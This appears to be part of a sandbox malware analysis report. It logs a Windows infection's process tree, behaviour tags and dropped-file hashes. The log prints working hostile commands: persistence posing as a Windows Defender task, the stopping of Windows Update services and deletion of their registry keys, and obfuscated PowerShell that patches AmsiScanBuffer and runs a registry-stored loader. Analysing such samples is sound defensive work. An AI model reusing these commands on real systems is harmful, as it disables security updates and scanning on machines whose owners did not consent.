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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4580
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3628 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1568
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:3968
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2272
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:2864
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3472
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2104
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1924
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4832
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:3248
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:392
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:5060
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1044
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4964 -ip 49641⤵PID:388
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2836 -ip 28361⤵PID:4756
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:JYdZioVXGLkU{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MfcKkSMgWEtyki,[Parameter(Position=1)][Type]$eEXCfHLeNR)$qUSCdqRjFcr=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+'f'+''+[Char](108)+''+'e'+''+[Char](99)+'ted'+[Char](68)+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+'M'+[Char](101)+'mo'+[Char](114)+''+'y'+''+[Char](77)+'o'+[Char](100)+'ul'+'e'+'',$False).DefineType(''+'M'+'yD'+[Char](101)+''+'l'+'e'+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+[Char](101)+'','Cl'+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+'ea'+[Char](108)+''+'e'+''+[Char](100)+''+[Char](44)+''+[Char](65)+''+'n'+''+[Char](115)+'i'+[Char](67)+''+[Char](108)+'a'+'s'+''+'s'+''+[Char](44)+'A'+'u'+''+[Char](116)+'o'+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$qUSCdqRjFcr.DefineConstructor(''+'R'+''+[Char](84)+'S'+'p'+'e'+[Char](99)+''+[Char](105)+'a'+'l'+''+[Char](78)+''+[Char](97)+''+'m'+''+'e'+''+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$MfcKkSMgWEtyki).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+'e'+'d');$qUSCdqRjFcr.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+''+'e'+'',''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+'H'+'id'+[Char](101)+''+'B'+'ySi'+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+'t'+[Char](44)+''+'V'+''+'i'+''+'r'+'t'+'u'+''+[Char](97)+''+'l'+'',$eEXCfHLeNR,$MfcKkSMgWEtyki).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+''+[Char](105)+''+[Char](109)+'e,M'+[Char](97)+''+'n'+''+[Char](97)+'g'+[Char](101)+'d');Write-Output $qUSCdqRjFcr.CreateType();}$mMNxmKkWJwGAP=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+'s'+'t'+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+''+[Char](102)+'t'+'.'+'W'+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+'.Un'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+'m'+'M'+''+'N'+''+'x'+''+[Char](109)+''+[Char](75)+'k'+'W'+''+[Char](74)+''+'w'+''+'G'+''+[Char](65)+'P');$UmReyXVFnGdLct=$mMNxmKkWJwGAP.GetMethod('U'+[Char](109)+''+[Char](82)+'e'+[Char](121)+''+'X'+''+[Char](86)+'F'+[Char](110)+''+'G'+''+'d'+''+[Char](76)+''+[Char](99)+''+[Char](116)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+'c'+','+'S'+'t'+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$UezvqNQjOsrKnefaIVl=JYdZioVXGLkU @([String])([IntPtr]);$fnbQzbREubWCXbNQFzbJdr=JYdZioVXGLkU @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$neSbPHxKGol=$mMNxmKkWJwGAP.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+'du'+[Char](108)+''+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$kShTTkVGTBDzpf=$UmReyXVFnGdLct.Invoke($Null,@([Object]$neSbPHxKGol,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'d'+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+'a'+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$eFWpboLUJMjpucybI=$UmReyXVFnGdLct.Invoke($Null,@([Object]$neSbPHxKGol,[Object](''+[Char](86)+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+'e'+''+[Char](99)+''+[Char](116)+'')));$WTfWrcS=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kShTTkVGTBDzpf,$UezvqNQjOsrKnefaIVl).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$fVSYgYVLeYvACHlLB=$UmReyXVFnGdLct.Invoke($Null,@([Object]$WTfWrcS,[Object](''+[Char](65)+''+'m'+''+[Char](115)+''+'i'+''+'S'+'c'+[Char](97)+'n'+[Char](66)+''+'u'+''+'f'+''+[Char](102)+'e'+[Char](114)+'')));$lWUTlCOXvW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eFWpboLUJMjpucybI,$fnbQzbREubWCXbNQFzbJdr).Invoke($fVSYgYVLeYvACHlLB,[uint32]8,4,[ref]$lWUTlCOXvW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$fVSYgYVLeYvACHlLB,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eFWpboLUJMjpucybI,$fnbQzbREubWCXbNQFzbJdr).Invoke($fVSYgYVLeYvACHlLB,[uint32]8,0x20,[ref]$lWUTlCOXvW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'RE').GetValue('di'+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4060
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:NnGBGYPYFqBY{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AADbKohwPtAcZw,[Parameter(Position=1)][Type]$mdoDgbVnit)$MSQNIwNGtsV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+'l'+''+'e'+''+[Char](99)+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+'l'+'e'+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'em'+[Char](111)+''+'r'+'yM'+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+'M'+''+[Char](121)+'D'+[Char](101)+''+[Char](108)+'eg'+'a'+''+'t'+'e'+'T'+''+[Char](121)+''+[Char](112)+''+'e'+'',''+'C'+''+'l'+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+'bli'+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$MSQNIwNGtsV.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+','+[Char](72)+''+'i'+'de'+[Char](66)+''+'y'+'Si'+[Char](103)+''+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$AADbKohwPtAcZw).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$MSQNIwNGtsV.DefineMethod('I'+'n'+''+[Char](118)+''+[Char](111)+''+'k'+''+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+'g'+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+''+'o'+''+[Char](116)+''+','+''+[Char](86)+'i'+'r'+'t'+'u'+''+[Char](97)+''+[Char](108)+'',$mdoDgbVnit,$AADbKohwPtAcZw).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+'i'+[Char](109)+''+[Char](101)+',M'+'a'+''+[Char](110)+''+[Char](97)+'g'+[Char](101)+''+[Char](100)+'');Write-Output $MSQNIwNGtsV.CreateType();}$VZVLpCErgPqma=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+'c'+[Char](114)+''+[Char](111)+''+'s'+'of'+'t'+''+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+'2'+''+[Char](46)+''+'U'+''+[Char](110)+'s'+'a'+''+'f'+''+'e'+'V'+[Char](90)+'V'+[Char](76)+''+[Char](112)+''+[Char](67)+'E'+'r'+''+'g'+'P'+[Char](113)+''+'m'+'a');$aBbhMxnRctAqGa=$VZVLpCErgPqma.GetMethod(''+'a'+''+[Char](66)+''+'b'+''+[Char](104)+''+'M'+''+[Char](120)+'nRc'+[Char](116)+''+[Char](65)+''+[Char](113)+''+[Char](71)+''+[Char](97)+'',[Reflection.BindingFlags]''+[Char](80)+'u'+[Char](98)+'l'+'i'+''+[Char](99)+''+','+''+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vWSuQzEwUgBFYoNgUTR=NnGBGYPYFqBY @([String])([IntPtr]);$pwBfuZvJDlVeSjHOMKxCjn=NnGBGYPYFqBY @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$JEUkUTUwMuF=$VZVLpCErgPqma.GetMethod('Ge'+[Char](116)+'M'+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+'Han'+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+'3'+[Char](50)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$FdvRsKcVTLoQFc=$aBbhMxnRctAqGa.Invoke($Null,@([Object]$JEUkUTUwMuF,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+''+'i'+'b'+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$JNPrwHRUPyxIAauTm=$aBbhMxnRctAqGa.Invoke($Null,@([Object]$JEUkUTUwMuF,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+'l'+''+'P'+''+[Char](114)+''+[Char](111)+'tec'+'t'+'')));$OGMEKzO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FdvRsKcVTLoQFc,$vWSuQzEwUgBFYoNgUTR).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$PWDWlKTIOsLprqGlG=$aBbhMxnRctAqGa.Invoke($Null,@([Object]$OGMEKzO,[Object](''+'A'+''+[Char](109)+'s'+'i'+''+[Char](83)+'canB'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$dXQDurohgj=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNPrwHRUPyxIAauTm,$pwBfuZvJDlVeSjHOMKxCjn).Invoke($PWDWlKTIOsLprqGlG,[uint32]8,4,[ref]$dXQDurohgj);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PWDWlKTIOsLprqGlG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JNPrwHRUPyxIAauTm,$pwBfuZvJDlVeSjHOMKxCjn).Invoke($PWDWlKTIOsLprqGlG,[uint32]8,0x20,[ref]$dXQDurohgj);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+'O'+''+'F'+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+'l'+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3752
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5bd204b2b8ec35b098053e1f3750e4c11
SHA14e323bfbd755b6f3257abecae0dfebe18735a6b9
SHA2560ec3e086cff2b9d22f0e09448ddfe3891008d96cf4413b429c3875ba5fbfc8e5
SHA5121817ceafb7846167f8c90671d46737e99181233df970c11216260fde6a05264c8094d046e413b5b681a3400bda475bfec9f6a89b67f75205811fc860331aabff
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5